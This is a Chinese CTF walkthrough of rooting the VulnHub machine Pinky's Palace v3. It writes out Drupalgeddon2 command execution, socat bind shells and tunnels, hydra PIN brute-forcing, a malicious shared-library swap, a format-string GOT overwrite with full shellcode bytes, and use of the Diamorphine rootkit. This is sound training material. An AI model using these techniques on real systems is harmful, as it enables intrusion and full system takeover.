No.36-VulnHub-Pinky's Palace: v3-Walkthrough渗透学习

**

VulnHub-Pinky’s Palace: v3-Walkthrough

**

靶机地址:https://www.vulnhub.com/entry/pinkys-palace-v3,237/
靶机难度:高级(CTF)
靶机发布日期:2018年5月15日
靶机描述:
无???!!!。
目标:得到root权限&找到flag.txt
作者:大余
时间:2020-01-30
请注意:对于所有这些计算机,我已经使用VMware运行下载的计算机。我将使用Kali Linux作为解决该CTF的攻击者机器。这里使用的技术仅用于学习教育目的,如果列出的技术用于其他任何目标,我概不负责。

一、信息收集

在这里插入图片描述
可以看到靶机已经显示IP了:192.168.182.138
在这里插入图片描述
nmap扫到了21、5555、8000端口是开放的…8000上运行了drupal…
在这里插入图片描述
先渗透下ftp,看到了welcome文件…
在这里插入图片描述
让我们尽量不要使用metasploit工具…可以在nmap扫描上看到Anonymous账号密码…
在这里插入图片描述
在这里插入图片描述
登陆FTP发现不能通过ftp提权,存在防火墙,进行了限制,对应了上welcome文件内容,不能使用metasploit工具进行反向shell流量攻击…
在这里插入图片描述
这边对8000web登陆看看…nmap前面扫出了几个目录或文件,我都打开看看…(用户pinkadmin)
在这里插入图片描述
我都打开看了,发现这个文件有可利用信息…
CHANGELOG.txt(前面nmap也扫到了)…
在这里插入图片描述
Drupal 7.57, 2018-02-21,这边了解drupal的都知道,列举下:7.58、8.3.9、8.4.6和8.5.1之前的Drupal版本容易受到Drupalgeddon2的远程代码执行攻击的影响…这边不能使用metasploit模块…CVE-2018-7600去gitub下载看看…
在这里插入图片描述
链接
下载到本地…
在这里插入图片描述
没成功,应该是哪里需要修改下,我进去看看…这边我在github上找到了修改好的针对drupal8的EXP…链接
这边看了会应该是要改EXP内容才可以执行成功…我这边目前还在脑补不会改,继续学习把…

二、提权

我使用了另外一种方法…
在这里插入图片描述
命令:python3 ./dayu.py -t 192.168.182.138 -c “cat /etc/passwd” -p 8000
这边使用python3对靶机的web进行命令渗透…可以看到已经确定可以利用了…
链接
在这里插入图片描述
可以看到防火墙阻止了反向shell…里头的文件都无法正常执行…
这边我使用了socat工具,Socat是一个非常强大的工具,可用于调整,旋转和获得完全交互式的外壳,链接
在这里插入图片描述
命令:python3 ./dayu.py -t 192.168.182.138 -c "socat TCP-LISTEN:4444,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane" -p 8000
生成了一个外壳…
在这里插入图片描述
命令:socat FILE:tty,raw,echo=0 TCP:192.168.182.138:4444
可以看到利用socat工具已经成功转换了特权…获得了外壳…
在这里插入图片描述
直接查看sites/default/settings.php文件,里面含有mysql数据库密码…drupink
在这里插入图片描述
成功登陆…
在这里插入图片描述这边查看到pinkadmin用户,密码哈希值这边没破解成功…
在这里插入图片描述
在数据库没发现什么信息了…哈希值想放着把…(主要我破解不了…)
这边查看运行了那些本地端口,3306应该是mysql的,别的我不太确定, 查看下apache2看看…
在这里插入图片描述
在这里插入图片描述
这里可以看到80和65334端口运行到localhost的Web服务器…socat可以建立隧道…打开下65334看看…
在这里插入图片描述
命令:socat TCP-LISTEN:8888,fork TCP:127.0.0.1:80 &
命令:socat TCP-LISTEN:9999,fork TCP:127.0.0.1:65334 &
在这里插入图片描述
nmap扫,可以看到隧道建立成功了…好像存在缓冲区溢出?
在这里插入图片描述
可以看出除了要账号密码,还需要Pin登陆…
在这里插入图片描述
我尝试dirb枚举,没发现什么…
9999上的服务器是database的文件夹中获取的…但是没提供数据库…应该是个文件,数据库文件一般是.db文件…
在这里插入图片描述
利用wfuzz工具并使用了自带的单词表进行爆破…发现了pwds.db数据库文件…
在这里插入图片描述
可以看到这是一个密码表…
在这里插入图片描述
我放入本地,用户我目前只发现了四个…
知道了用户名和密码…回看还需要一个值pin进行登陆,我需要生成1~10000值得文本…
在这里插入图片描述
执行生成1~10000个数字值…
在这里插入图片描述
开始爆破…
这边爆破需要长达10多个小时…我重新做了一遍才写的,不小心关了窗口,所以直接告诉你们答案了…
命令:hydra -L pins.txt -P dayupasswd.txt 192.168.182.138 -s 8888 http-post-form "/login.php:user=pinkadmin&pass=^PASS^&pin=^USER^:F=Incorrect"
这边我一个一个账户进行爆破的…结果:pinkadmin:AaPinkSecaAdmin4467:55849
在这里插入图片描述
成功登陆…
在这里插入图片描述
这是一个shell…我继续通过socat进行创建端口隧道…
在这里插入图片描述
命令:socat TCP-LISTEN:2222,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane
然后在本地…
在这里插入图片描述
命令:socat FILE:tty,raw,echo=0 TCP:192.168.182.138:2222
成功进来了…
在这里插入图片描述
发现了个二进制文件,放到本地分析看看…
在这里插入图片描述
命令:cp pinksecd ../html
在这里插入图片描述
成功下载…
在这里插入图片描述
对其做个检查…红框中的需要注意…@plt意思是它正在从共享库中加载这些函数…
在这里插入图片描述
在这里插入图片描述
果然可以看到是在libpinksec.so共享库中加载的函数…
在这里插入图片描述
在这里插入图片描述
命令:cp libpinksec.so /home/pinksec/libpinksec.so.bak (这边备份下,怕出问题)
写好C木马后…
在这里插入图片描述
命令:gcc -c -fpic dayu.c
命令:gcc -shared dayu.o -o dayu.so
这边写好恶意程序的库…
在这里插入图片描述
我这边发现我无权限将dayu.so放入lib目录中…只能替换了…重新生成下…
在这里插入图片描述
可以看到成功替换了,我前面理解错了…其实就是替换该文件…我放入就无权…
执行即可…
在这里插入图片描述

三、缓冲区溢出提权

成功进入pinksecmanagement用户…
python -c “import pty;pty.spawn(’/bin/bash’)”
在这里插入图片描述
这边我还是直接找到setuid位的文件…直接进入/usr/local/bin/目录…发现了PSMCCLI…
我执行发现无法执行??因为我是通过setuid位提权上来的,所以组还是原来的组,需要提下…
在这里插入图片描述
看到可以执行该程序了…发现又是缓冲区溢出…和前几章缓冲区一样…
这边找到溢出位置…
在这里插入图片描述
命令:./PSMCCLI $(python -c "print 'A'*250")
无法将其崩溃???
在这里插入图片描述
命令:./PSMCCLI %x
查看到是格式字符串错误…Args: bffffed4
在这里插入图片描述
放到本地分析…(主要靶机啥也没装)
在这里插入图片描述
在这里插入图片描述
这边arg回送给程序的函数可能是argshow,查看下…
在这里插入图片描述
前面查看到是格式字符串溢出…这边思路覆盖GOT中的putchar函数…因为它是printf之后的下一个函数,要获取需要覆盖的位置,我在运行程序之前先拆装了putchar函数,方便包含它在运行时加载的地址…
在这里插入图片描述
这边用shellcode地址覆盖0x804a01c即可…格式字符串漏洞需要使用SPAWN的环境变量来保存shellcode…还需要将其定位在内存中…参考链接
在这里插入图片描述
出错了,发现用户不对…gcc还得回到pinksec用户下操作…
在这里插入图片描述
我这边选择了一个shellcode…参考链接将其放入环境变量中…
在这里插入图片描述
命令:export SPAWN=$(python -c "print '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80'")
现在可以在执行目标二进制文件期间找到环境变量在内存中的位置…
在这里插入图片描述
命令:./getenvaddr SPAWN /usr/local/bin/PSMCCLI
将0xbfffff9e放入0x804a01c中…需要确保内存正确对齐…
在这里插入图片描述
报错…因为前面GCC问题导致退回了pinksec用户,重新提权后组又回去了…
在这里插入图片描述
命令:/usr/local/bin/PSMCCLI AAAABBBB$(python -c "print '%08x.'*200")
计划是用要覆盖的内存地址替换AAAA和BBBB(我将覆盖两个2字节位置,而不是14字节,因为这样容易点)…
可以看到堆栈没有完全对齐1个字节,重新调整下…
在这里插入图片描述
命令:/usr/local/bin/PSMCCLI AAAABBBBC$(python -c "print '%08x.'*200")
命令:/usr/local/bin/PSMCCLI AAAABBBBCC$(python -c "print '%08x.'*200")
可以看出,前面调整还没调过来,继续调整成功对齐…
在这里插入图片描述
命令:/usr/local/bin/PSMCCLI AAAABBBBCC%124\$x%125\$x
这里我确认了Args值…124和125…
这边用little-endian编写,需要将0xbfffff9e注入为0xff9e,然后注入0xbfff…
0x804a01c with 0xff9e
0x804a01e with 0xbfff
漏洞利用,目标地址转换为little endian
$(printf “\x1c\xa0\x04\x08\x1e\xa0\x04\x08”)
将其填充2个字节,对应即可
$(printf “\x1c\xa0\x04\x08\x1e\xa0\x04\x08”)CC
在这里插入图片描述
命令:/usr/local/bin/PSMCCLI $(printf "\x1c\xa0\x04\x08\x1e\xa0\x04\x08")CC%124\$n%125\$n
这边出现了分段错误,因为%n将到目前为止已打印的字符数写入正在访问的内存中,上面的代码会将11(0xb)写入高位和低位存储短字,是一个非法地址,所以报错…

这边要写入的第一个值是0xff9e(十六进制到十进制转换,十进制为65438),需要在\ $ hn之前打印65438字节以写入内存,但是漏洞利用程序已经包含10个字节(AAAABBBBCC共10个),因此还需要65428个字节…
$(printf "\x1c\xa0\x04\x08\x1e\xa0\x04\x08")C%65429x%124\$hn
在这里插入图片描述
这里我需要写0xbfff,它是49151,一个2字节无符号int的最大值是65535,因为65439已经被打印了97将最大值,98会溢出。然后还需要49151(加98溢出),所以总读取为0x1bfff-0xff9e =0xc061(49249)…
在这里插入图片描述
命令:/usr/local/bin/PSMCCLI $(printf "\x1c\xa0\x04\x08\x1e\xa0\x04\x08")CC%65428x%124\$hn%49249x%125\$hn
这边成功通过溢出提权…这边尝试了python无法用…使用ssh密匙转换壳…
在这里插入图片描述
命令:ssh-keygen -t rsa -b 2048
在本地计算机上生成一个SSH密钥,然后/home/pinksec/.ssh/authorized_keys在这传输公钥即可…
在这里插入图片描述
生成密钥后,放入服务器即可…(前几章也讲过这个了)
在这里插入图片描述
命令:ssh [email protected] -i dayumis -p 5555
成功通过密匙登陆进来…可以sudo提权,看来需要编写自己的内核模块了…参考链接
这边整了半天,硬是没写出来…我用了现成的,哎…链接
在这里插入图片描述
命令:git clone https://github.com/m0nad/Diamorphine
在这里插入图片描述
在这里插入图片描述
已将rootkit加载到目标上…
在这里插入图片描述
有了rootkit之后,进行设置…
在这里插入图片描述
命令:sudo insmod diamorphine.ko
然后将其安装为内核模块…
在这里插入图片描述
这里我讲下Diamorphine的原理…其中的命令可以在上面的链接里有…Diamorphine rootkit的kit功能是发送信号64(到任何的pid)然后使当前用户成为root用户,可以使用kill命令将信号发送到任何进程(任何pid都会起作用)…记住这个方法…
成功拿到root权限并查看了flag…

太难了这台靶机…还有Pinky’s Palace: v4难度…这才V3就花了我两天的时间…

从Drupalgeddon2远程代码执行漏洞…需要加深的是对EXP的编写能力…
到python3的利用代码渗透…到使用socat工具端口隧道技术…到九头蛇的爆破…到分析二进制pinksecd,利用libpinksec.so共享库…到pyton编写恶意程序…到缓冲区溢出中PSMCCLI程序存在格式字符串漏洞…到SSH生成密匙外壳…最后利用Diamorphine rootkit技术…最终拿到root权限…(针对格式字符串漏洞可以参考PDF学习)

中间还有非常多的不同方法和方式能拿到低权,在破解pin值登录web页面也可以用wfuzz…以及缓冲区溢出中PSMCCLI程序也可以用printf…进行格式字符串漏洞利用进行溢出插入shellcode…等等等等,这是非常好的一台靶机,可以玩几天…

由于我们已经成功得到root权限查看flag,因此完成了简单靶机,希望你们喜欢这台机器,请继续关注大余后期会有更多具有挑战性的机器,一起练习学习。

如果你有其他的方法,欢迎留言。要是有写错了的地方,请你一定要告诉我。要是你觉得这篇博客写的还不错,欢迎分享给身边的人。

在这里插入图片描述

发布了36 篇原创文章 · 获赞 6 · 访问量 1万+

猜你喜欢

转载自blog.csdn.net/qq_34801745/article/details/104105321